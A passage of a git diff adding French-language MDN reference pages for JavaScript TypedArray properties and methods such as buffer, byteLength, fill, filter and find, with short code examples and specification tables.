TypedArray[Symbol.species]
+
+où TypedArray vaut :
+
+Int8Array
+Uint8Array
+Uint8ClampedArray
+Int16Array
+Uint16Array
+Int32Array
+Uint32Array
+Float32Array
+Float64Array
+
+ +

Description

+ +

L'accesseur species renvoie le constructeur par défaut pour les tableaux typés. Les constructeurs des sous-classes peuvent surcharger ce symbole pour modifier l'affectation du constructeur.

+ +

Exemples

+ +

La propriété species renvoie le constructeur par défaut qui est l'un des constructeurs de tableau typé (selon le type de tableau typé de l'objet) :

+ +
Int8Array[Symbol.species];    // function Int8Array()
+Uint8Array[Symbol.species];   // function Uint8Array()
+Float32Array[Symbol.species]; // function Float32Array()
+
+ +

Pour un objet construit sur mesure (par exemple une tableau MonTableauTypé), le symbole species de MonTableauTypé sera le constructeur MonTableauTypé. Mais on peut vouloir surcharger ce comportement pour renvoyer le constructeur du type parent :

+ +
class MonTableauTypé extends Uint8Array {
+  // On surcharge species pour MonTableauTypé
+  // pour récupérer le constructeur Uint8Array
+  static get [Symbol.species]() { return Uint8Array; }
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-get-%typedarray%-@@species', 'get %TypedArray% [ @@species ]')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-get-%typedarray%-@@species', 'get %TypedArray% [ @@species ]')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray.@@species")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("TypedArray")}}
    • +
  • {{jsxref("Symbol.species")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/buffer/index.html b/files/fr/web/javascript/reference/global_objects/typedarray/buffer/index.html new file mode 100644 index 0000000000..a38c0c8d0e --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typedarray/buffer/index.html @@ -0,0 +1,68 @@ +--- +title: TypedArray.prototype.buffer +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/buffer +tags: + - JavaScript + - Propriété + - Prototype + - Reference + - TypedArray +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/buffer +--- +
{{JSRef}}
+ +

La propriété buffer est un accesseur représentant l'{{jsxref("ArrayBuffer")}} représenté par le TypedArray lors de la construction de l'objet.

+ +
{{EmbedInteractiveExample("pages/js/typedarray-buffer.html")}}
+ + + +

Syntaxe

+ +
typedArray.buffer
+ +

Description

+ +

La propriété buffer est un accesseur dont le mutateur correspondant vaut undefined. Cela signifie que cette propriété n'est accessible qu'en lecture seule. La valeur de la propriété est déterminée lors de la construction du TypedArray et ne peut pas être modifiée. TypedArray est un des objets TypedArray.

+ +

Exemples

+ +
var buffer = new ArrayBuffer(8);
+var uint16 = new Uint16Array(buffer);
+uint16.buffer; // ArrayBuffer { byteLength: 8 }
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES6', '#sec-get-%typedarray%.prototype.buffer', 'TypedArray.prototype.buffer')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-get-%typedarray%.prototype.buffer', 'TypedArray.prototype.buffer')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray.buffer")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/bytelength/index.html b/files/fr/web/javascript/reference/global_objects/typedarray/bytelength/index.html new file mode 100644 index 0000000000..b48d71dec5 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typedarray/bytelength/index.html @@ -0,0 +1,75 @@ +--- +title: TypedArray.prototype.byteLength +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/byteLength +tags: + - JavaScript + - Propriété + - Prototype + - Reference + - TypedArray +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/byteLength +--- +
{{JSRef}}
+ +

La propriété byteLength est un accesseur qui représente la longueur, exprimée en octets, du tableau typé à partir du début de l'{{jsxref("ArrayBuffer")}} correspondant.

+ +
{{EmbedInteractiveExample("pages/js/typedarray-bytelength.html")}}
+ + + +

Syntaxe

+ +
typedarray.byteLength
+ +

Description

+ +

La propriété byteLength est un accesseur dont le mutateur correspondant vaut undefined, ce qui signifie qu'elle n'est accessible qu'en lecture. La valeur de la propriété est déterminée lors de la construction du TypedArray et ne peut pas être modifiée. Si l'objet TypedArray n'utilise pas de byteOffset ou une length, ce sera la propriété length de l'ArrayBuffer référencé par le tableau qui sera renvoyée. TypedArray est l'un des objets TypedArray.

+ +

Exemples

+ +
var tampon = new ArrayBuffer(8);
+
+var uint8 = new Uint8Array(tampon);
+uint8.byteLength; // 8 (correspond au byteLength du tampon correspondant)
+
+var uint8 = new Uint8Array(tampon, 1, 5);
+uint8.byteLength; // 5 (correspond à la longueur spécifiée dans le constructeur)
+
+var uint8 = new Uint8Array(tampon, 2);
+uint8.byteLength; // 6 (en raison du décalage utilisé pour la construction du Uint8Array)
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-get-%typedarray%.prototype.bytelength', 'TypedArray.prototype.byteLength')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-get-%typedarray%.prototype.bytelength', 'TypedArray.prototype.byteLength')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray.byteLength")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/byteoffset/index.html b/files/fr/web/javascript/reference/global_objects/typedarray/byteoffset/index.html new file mode 100644 index 0000000000..8ede8e1fff --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typedarray/byteoffset/index.html @@ -0,0 +1,68 @@ +--- +title: TypedArray.prototype.byteOffset +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/byteOffset +tags: + - JavaScript + - Propriété + - Prototype + - Reference + - TypedArray +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/byteOffset +--- +
{{JSRef}}
+ +

La propriété byteOffset est un accesseur qui représente le décalage, exprimé en octets, entre le début du tableau typé par rapport au début du {{jsxref("ArrayBuffer")}} correspondant.

+ +

Syntaxe

+ +
typedarray.byteOffset
+ +

Description

+ +

La propriété byteOffset est un accesseur dont le mutateur correspondant vaut undefined, ce qui signifie qu'elle n'est accessible qu'en lecture seule. La valeur de cette propriété est déterminée lors de la construction du TypedArray et ne peut pas être modifiée. TypedArray est l'un des objets TypedArray.

+ +

Exemples

+ +
var tampon = new ArrayBuffer(8);
+
+var uint8 = new Uint8Array(tampon);
+uint8.byteOffset; // 0 (aucun décalage n'a été défini)
+
+var uint8 = new Uint8Array(tampon, 3);
+uint8.byteOffset; // 3 (correspond au décalage défini lors de la construction du Uint8Array)
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES6', '#sec-get-%typedarray%.prototype.byteoffset', 'TypedArray.prototype.byteOffset')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-get-%typedarray%.prototype.byteoffset', 'TypedArray.prototype.byteOffset')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray.byteOffset")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/bytes_per_element/index.html b/files/fr/web/javascript/reference/global_objects/typedarray/bytes_per_element/index.html new file mode 100644 index 0000000000..948b4bb412 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typedarray/bytes_per_element/index.html @@ -0,0 +1,80 @@ +--- +title: TypedArray.BYTES_PER_ELEMENT +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/BYTES_PER_ELEMENT +tags: + - JavaScript + - Propriété + - Reference + - TypedArray + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/BYTES_PER_ELEMENT +--- +
{{JSRef}}
+ +

La propriété TypedArray.BYTES_PER_ELEMENT représente la taille, exprimée en octets, de chaque élément du tableau typé.

+ +
{{EmbedInteractiveExample("pages/js/typedarray-bytes-per-element.html")}}
+ + + +
{{js_property_attributes(0,0,0)}}
+ +

Syntaxe

+ +
TypedArray.BYTES_PER_ELEMENT;
+ +

Description

+ +

La taille des éléments d'un tableau typé varie en fonction du type de TypedArray utilisé. Le nombre d'octets utilisé pour un élément sera différent en fonction du type de tableau. La propriété BYTES_PER_ELEMENT permet de savoir le nombre d'octets contenus dans chaque élément du tableau typé courant.

+ +

Exemples

+ +
Int8Array.BYTES_PER_ELEMENT;         // 1
+Uint8Array.BYTES_PER_ELEMENT;        // 1
+Uint8ClampedArray.BYTES_PER_ELEMENT; // 1
+Int16Array.BYTES_PER_ELEMENT;        // 2
+Uint16Array.BYTES_PER_ELEMENT;       // 2
+Int32Array.BYTES_PER_ELEMENT;        // 4
+Uint32Array.BYTES_PER_ELEMENT;       // 4
+Float32Array.BYTES_PER_ELEMENT;      // 4
+Float64Array.BYTES_PER_ELEMENT;      // 8
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Spécification englobée par ECMAScript 6.
{{SpecName('ES6', '#sec-typedarray.bytes_per_element', 'TypedArray.BYTES_PER_ELEMENT')}}{{Spec2('ES6')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-typedarray.bytes_per_element', 'TypedArray.BYTES_PER_ELEMENT')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray.BYTES_PER_ELEMENT")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/copywithin/index.html b/files/fr/web/javascript/reference/global_objects/typedarray/copywithin/index.html new file mode 100644 index 0000000000..3cc0a22542 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typedarray/copywithin/index.html @@ -0,0 +1,87 @@ +--- +title: TypedArray.prototype.copyWithin() +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/copyWithin +tags: + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArray +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/copyWithin +--- +
{{JSRef}}
+ +

La méthode copyWithin() permet de copier des éléments d'un tableau dans le tableau typé à partir de la position cible. Les éléments copiés sont ceux contenus entre les index début et fin. L'argument fin est optionnel, sa valeur par défaut correspondra à la longueur du tableau dont on souhaite copier les éléments. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.copyWithin")}}. TypedArray est l'un des types de tableaux typés.

+ +
{{EmbedInteractiveExample("pages/js/typedarray-copywithin.html")}}
+ + + +

Syntaxe

+ +
typedarray.copyWithin(cible, début[, fin = this.length])
+ +

Paramètres

+ +
+
cible
+
La position, dans le tableau typé, à partir de laquelle on souhaite copier les éléments.
+
début
+
La position du tableau contenant les éléments à copier à partir de laquelle copier les éléments.
+
fin {{optional_inline}}
+
Paramètre optionnel. La position jusqu'à laquelle prendre les éléments à copier.
+
+ +

Valeur de retour

+ +

Le tableau typé, modifié par la fonction.

+ +

Description

+ +

Voir la page {{jsxref("Array.prototype.copyWithin")}} pour plus d'informations.

+ +

Cette méthode remplace la méthode expérimentale {{jsxref("TypedArray.prototype.move()")}}.

+ +

Exemples

+ +
var buffer = new ArrayBuffer(8);
+var uint8 = new Uint8Array(buffer);
+uint8.set([1,2,3]);
+console.log(uint8); // Uint8Array [ 1, 2, 3, 0, 0, 0, 0, 0 ]
+uint8.copyWithin(3,0,3);
+console.log(uint8); // Uint8Array [ 1, 2, 3, 1, 2, 3, 0, 0 ]
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-%typedarray%.prototype.copywithin', 'TypedArray.prototype.copyWithin')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.copywithin', 'TypedArray.prototype.copyWithin')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray.copyWithin")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("TypedArray")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/entries/index.html b/files/fr/web/javascript/reference/global_objects/typedarray/entries/index.html new file mode 100644 index 0000000000..14891965ba --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typedarray/entries/index.html @@ -0,0 +1,93 @@ +--- +title: TypedArray.prototype.entries() +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/entries +tags: + - ECMAScript 2015 + - Iterator + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/entries +--- +
{{JSRef}}
+ +

La méthode entries() renvoie un nouvel objet Array Iterator qui contient les paires clé/valeur pour chaque indice du tableau.

+ +
{{EmbedInteractiveExample("pages/js/typedarray-entries.html")}}
+ + + +

Syntaxe

+ +
arr.entries()
+ +

Valeur de retour

+ +

Un nouvel objet Array Iterator.

+ +

Exemples

+ +

Parcourir un tableau avec une boucle for...of

+ +
var arr = new Uint8Array([10, 20, 30, 40, 50]);
+var eArray = arr.entries();
+// prérequis nécessaire : le navigateur doit
+// supporter les boucles for..of
+// et les variables dont la portée est définie par let
+for (let n of eArray) {
+  console.log(n);
+}
+
+ +

Une autre méthode d'itération

+ +
var arr = new Uint8Array([10, 20, 30, 40, 50]);
+var eArr = arr.entries();
+console.log(eArr.next().value); // [0, 10]
+console.log(eArr.next().value); // [1, 20]
+console.log(eArr.next().value); // [2, 30]
+console.log(eArr.next().value); // [3, 40]
+console.log(eArr.next().value); // [4, 50]
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.entries', '%TypedArray%.prototype.entries()')}}{{Spec2('ES2015')}} +

Définition initiale.

+
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.entries', '%TypedArray%.prototype.entries()')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray.entries")}}

+ +

Voir aussi

+ +
    +
  • Les tableaux typés en JavaScript
    • +
  • {{jsxref("TypedArray")}}
    • +
  • {{jsxref("TypedArray.prototype.keys()")}}
    • +
  • {{jsxref("TypedArray.prototype.values()")}}
    • +
  • {{jsxref("TypedArray.prototype.@@iterator()", "TypedArray.prototype[@@iterator]()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/every/index.html b/files/fr/web/javascript/reference/global_objects/typedarray/every/index.html new file mode 100644 index 0000000000..479490d910 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typedarray/every/index.html @@ -0,0 +1,110 @@ +--- +title: TypedArray.prototype.every() +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/every +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArray + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/every +--- +
{{JSRef}}
+ +

La méthode every() teste si tous les éléments du tableau typé satisfont une condition implémentée par la fonction de test fournie. Cette méthode utilise le même algorithme {{jsxref("Array.prototype.every()")}}. Pour le reste de cet article, TypedArray correspond à un des types de tableaux typés.

+ +
{{EmbedInteractiveExample("pages/js/typedarray-every.html")}}
+ + + +

Syntaxe

+ +
typedarray.every(callback[, thisArg])>
+ +

Paramètres

+ +
+
callback
+
La fonction utilisée pour tester chaque élément du tableau. Elle utilise trois arguments : +
+
valeurCourante
+
L'élément du tableau typé qui est en cours de traitement.
+
index
+
L'indice de l'élément du tableau typé en cours de traitement.
+
array
+
Le tableau typé sur lequel on a appelé la méthode every.
+
+
+
thisArg
+
Paramètre optionnel, la valeur à utiliser en tant que this lors de l'exécution de callback.
+
+ +

Valeur de retour

+ +

true si la fonction de rappel obtient une valeur équivalente à vrai (truthy) pour chaque élément du tableau typé, false sinon.

+ +

Description

+ +

La méthode every exécute la fonction callback fournie pour chaque élément du tableau typé jusqu'à ce que callback renvoie une valeur fausse (une valeur qui vaut false lorsqu'elle est convertie en un booléen). Si un tel élément est trouvé, la méthode every renvoie immédiatement false. Dans le cas contraire, si callback renvoie une valeur vraie pour tous les éléments, la méthode every renverra true.

+ +

callback est appelé avec trois arguments : la valeur de l'élément, l'indice de cet élément et le tableau qui est parcouru.

+ +

Si le paramètre thisArg est utilisé, il sera passé à la fonction callback en tant que valeur this. Sinon, la valeur undefined sera utilisée comme valeur this. La valeur this définitivement prise en compte par la fonction callback est déterminée selon les règles usuelles de détermination de this.

+ +

every ne modifie pas le tableau typé sur lequel elle a été appelée.

+ +

Exemples

+ +

Tester la taille des éléments d'un tableau typé

+ +

Dans l'exemple suivant, on teste si tous les éléments du tableau typé sont supérieurs à 10 :

+ +
function estGrand(element, index, array) {
+  return element >= 10;
+}
+new Uint8Array([12, 5, 8, 130, 44]).every(estGrand);   // false
+new Uint8Array([12, 54, 18, 130, 44]).every(estGrand); // true
+ +

Tester les éléments d'un tableau typé avec les fonctions fléchées

+ +

Les fonctions fléchées permettent d'utiliser une syntaxe plus concise pour parvenir au même résultat :

+ +
new Uint8Array([12, 5, 8, 130, 44]).every(elem => elem >= 10); // false
+new Uint8Array([12, 54, 18, 130, 44]).every(elem => elem >= 10); // true
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.every', 'TypedArray.prototype.every')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.every', 'TypedArray.prototype.every')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray.every")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("TypedArray.prototype.some()")}}
    • +
  • {{jsxref("Array.prototype.every()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/fill/index.html b/files/fr/web/javascript/reference/global_objects/typedarray/fill/index.html new file mode 100644 index 0000000000..23b108a69f --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typedarray/fill/index.html @@ -0,0 +1,100 @@ +--- +title: TypedArray.prototype.fill() +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/fill +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArrays + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/fill +--- +
{{JSRef}}
+ +

La méthode fill() remplit les éléments d'un tableau typé contenu entre un indice de début et un indice de fin avec une valeur statique. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.fill()")}}. Dans le reste de cet article, TypedArray correspond à l'un des types de tableaux typés.

+ +
{{EmbedInteractiveExample("pages/js/typedarray-fill.html")}}
+ + + +

Syntaxe

+ +
typedarray.fill(valeur[, début = 0[, fin = this.length]])
+ +

Paramètres

+ +
+
valeur
+
La valeur avec laquelle on souhaite remplir le tableau.
+
début
+
Paramètre optionnel qui représente l'indice à partir duquel remplir le tableau. La valeur par défaut est 0.
+
fin
+
Paramètre optionnel qui représente l'indice jusqu'auquel remplir le tableau. La valeur par défaut est la longueur du tableau (this.length).
+
+ +

Valeur de retour

+ +

Le tableau typé, modifié par la fonction.

+ +

Description

+ +

L'intervalle d'éléments à modifier est [début, fin).

+ +

La méthode fill utilise jusqu'à trois arguments : valeur, début et fin. début et fin sont optionnels, leurs valeurs par défaut respectives sont 0 et la valeur de la propriété length de l'objet this.

+ +

Si début est négatif, on le traite comme length+début où length représente la longueur du tableau. Si fin est négative, on le traite comme length+fin.

+ +

Exemples

+ +
new Uint8Array([1, 2, 3]).fill(4);         // Uint8Array [4, 4, 4]
+new Uint8Array([1, 2, 3]).fill(4, 1);      // Uint8Array [1, 4, 4]
+new Uint8Array([1, 2, 3]).fill(4, 1, 2);   // Uint8Array [1, 4, 3]
+new Uint8Array([1, 2, 3]).fill(4, 1, 1);   // Uint8Array [1, 2, 3]
+new Uint8Array([1, 2, 3]).fill(4, -3, -2); // Uint8Array [4, 2, 3]
+
+ +

Prothèse d'émulation (polyfill)

+ +

Il n'existe pas d'objet global avec le nom TypedArray, la prothèse doit donc être appliquée uniquement si nécessaire, aussi {{jsxref("Array.prototype.fill()")}} pourra éventuellement être utilisé (voire la prothèse de cette dernière).

+ +
// https://tc39.github.io/ecma262/#sec-%typedarray%.prototype.fill
+if (!Uint8Array.prototype.fill) {
+  Uint8Array.prototype.fill = Array.prototype.fill;
+}
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.fill', 'TypedArray.prototype.fill')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.fill', 'TypedArray.prototype.fill')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray.fill")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.fill()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/filter/index.html b/files/fr/web/javascript/reference/global_objects/typedarray/filter/index.html new file mode 100644 index 0000000000..fadb8339cd --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typedarray/filter/index.html @@ -0,0 +1,111 @@ +--- +title: TypedArray.prototype.filter() +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/filter +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArray + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/filter +--- +
{{JSRef}}
+ +

La méthode filter() crée un nouveau tableau qui contient l'ensemble des éléments qui remplissent une condition fournie par la fonction de test passée en argument. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.filter()")}}. TypedArray est utilisé ici de façon générique pour représenter l'un des types de tableaux typés possibles.

+ +
{{EmbedInteractiveExample("pages/js/typedarray-filter.html")}}
+ + + +

Syntaxe

+ +
typedarray.filter(callback[, thisArg])
+ +

Paramètres

+ +
+
callback
+
Une fonction qui est utilisée pour tester chacun des éléments du tableau typé. Cette fonction est appelée avec trois arguments (élément, index, tableautypé). La fonction renvoie true si on souhaite conserver l'élément, false sinon.
+
thisArg {{optional_inline}}
+
La valeur à utiliser pour this lors de l'appel à callback.
+
+ +

Valeur de retour

+ +

Un nouveau tableau typé contenant les éléments qui remplissent la condition donnée par la fonction de rappel.

+ +

Description

+ +

La méthode filter() appelle une fonction callback appelée une fois pour chaque élément du tableau typé. Elle construit un nouveau tableau typé constitué des valeurs du tableau original pour lesquelles callback a renvoyé true. callback est appelée uniquement pour les éléments du tableau auxquels on a affecté une valeur, elle n'est pas appelé pour les éléments supprimés ou ceux qui n'ont jamais reçu de valeurs. Les éléments du tableau typé qui ne passent pas le test de la fonction ne sont pas inclus dans le nouveau tableau typé.

+ +

callback est appelée avec trois arguments :

+ +
    +
  1. la valeur de l'élément
    2. +
  2. l'indice de l'élément
    3. +
  3. le tableau typé courant
    4. +
+ +

Si le paramètre thisArg est fourni, il sera utilisé comme objet this lors de l'appel de la fonction callback. Sinon, la valeur undefined sera utilisée à la place. Par ailleurs, la valeur de this accessible depuis la fonction callback est déterminée selon les règles usuelles déterminant la valeur this au sein d'une fonction.

+ +

filter() ne modifie pas le tableau typé sur lequel elle a été appelée.

+ +

La liste des éléments parcourus par filter() est définie avant la première invocation de la fonction callback. Les éléments qui sont ajoutés au tableau typé après le début de l'appel de filter() (grâce à la fonction callback par exemple) ne seront pas visités. Si des éléments existants du tableau typé ont modifiés ou supprimés, la valeur fournie à la fonction callback sera leur valeur au moment où filter() les visite - les éléments supprimés ne seront pas traités par la fonction.

+ +

Exemples

+ +

Filtrer les valeurs inférieures à un seuil

+ +

Dans l'exemple qui suit, on utilise filter() pour créer un nouveau tableau typé qui contient uniquement les éléments supérieurs à 10.

+ +
function supSeuil(élément, indice, tableauTypé) {
+  return élément >= 10;
+}
+new Uint8Array([12, 5, 8, 130, 44]).filter(supSeuil);
+// Uint8Array [ 12, 130, 44 ]
+
+ +

Filtrer les éléments d'un tableau typé avec les fonctions fléchées

+ +

Les fonctions fléchées permettent d'utiliser une syntaxe plus concise pour réaliser le même test que montré précédemment :

+ +
new Uint8Array([12, 5, 8, 130, 44]).filter(élém => élém >= 10);
+// Uint8Array [ 12, 130, 44 ]
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.filter', 'TypedArray.prototype.filter')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.filter', 'TypedArray.prototype.filter')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray.filter")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("TypedArray.prototype.every()")}}
    • +
  • {{jsxref("TypedArray.prototype.some()")}}
    • +
  • {{jsxref("Array.prototype.filter()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/find/index.html b/files/fr/web/javascript/reference/global_objects/typedarray/find/index.html new file mode 100644 index 0000000000..97f578b914 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typedarray/find/index.html @@ -0,0 +1,114 @@ +--- +title: TypedArray.prototype.find() +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/find +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArray + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/find +--- +
{{JSRef}}
+ +

La méthode find() renvoie une valeur du tableau typé si un élément du tableau remplit la condition définie par la fonction de test fournie. Si aucun élément ne remplit la condition, la valeur {{jsxref("undefined")}} sera renvoyée. Pour la suite de cet article TypedArray correspond à l'un des types de tableaux typés.

+ +

Voir également la page sur la méthohde {{jsxref("TypedArray.findIndex", "findIndex()")}} qui renvoie l'indice de l'élément trouvé (et non sa valeur).

+ +
{{EmbedInteractiveExample("pages/js/typedarray-find.html")}}
+ + + +

Syntaxe

+ +
typedarray.find(callback[, thisArg])
+ +

Paramètres

+ +
+
callback
+
La fonction à exécuter pour chaque valeur du tableau typé. Elle prend trois arguments : +
+
élément
+
L'élément du tableau typé en cours de traitement.
+
index
+
L'indice de l'élément du tableau typé en cours de traitement.
+
array
+
Le tableau sur lequel la méthode find a été appelée.
+
+
+
thisArg
+
Paramètre optionnel, il correspond à l'objet à utiliser en tant que this lors de l'exécution de la fonction callback.
+
+ +

Valeur de retour

+ +

Une valeur du tableau qui remplit la condition définie par la fonction de rappel, {{jsxref("undefined")}} sinon.

+ +

Description

+ +

La méthode find exécute la fonction callback une fois pour chacun des éléments présents dans le tableau typé jusqu'à ce que la fonction callback renvoie une valeur vraie. Si un tel élément est trouvé, find retourne immédiatement la valeur de cet élément, sinon find renvoie {{jsxref("undefined")}}. callback est appelée uniquement pour les indices du tableau typé qui possèdent une valeur, elle n'est pas appelée pour les indices qui ont été supprimés ou qui ne possèdent pas de valeurs.

+ +

callback est invoquée avec trois arguments : la valeur de l'élément, son indice et le tableau typé parcouru.

+ +

Si la paramètre thisArg est utilisé, il sera utilisé en tant que this pour chaque appel à callback. S'il n'est pas fourni, la valeur {{jsxref("undefined")}} sera utilisée.

+ +

find ne modifie pas le tableau typé sur lequel elle est appelé.

+ +

La liste des éléments traités par find est définie avant le premier appel à callback. Les éléments qui sont ajoutés au tableau typé après que l'appel à find ait commencé ne seront pas traités par callback. Si un élément du tableau qui n'a pas encore été traité est modifié par un appel précédent de callback, la valeur utilisée au moment où il est traité est celle qu'il aura lorsque find atteindra cet indice. Les éléments qui sont supprimés ne sont pas traités par la fonction.

+ +

Exemples

+ +

Trouver un nombre premier

+ +

Dans l'exemple qui suit, on cherche un élément d'un tableau typé qui est un nombre premier (on renvoie undefined s'il n'y a pas de nombre premier).

+ +
function estPremier(élément, index, array) {
+  var début = 2;
+  while (début <= Math.sqrt(élément)) {
+    if (élément % début++ < 1) {
+      return false;
+    }
+  }
+  return élément > 1;
+}
+
+var uint8 = new Uint8Array([4, 5, 8, 12]);
+console.log(uint8.find(estPremier)); // 5
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.find', '%TypedArray%.prototype.find')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.find', '%TypedArray%.prototype.find')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray.find")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("TypedArray.prototype.findIndex()")}}
    • +
  • {{jsxref("TypedArray.prototype.every()")}}
    • +
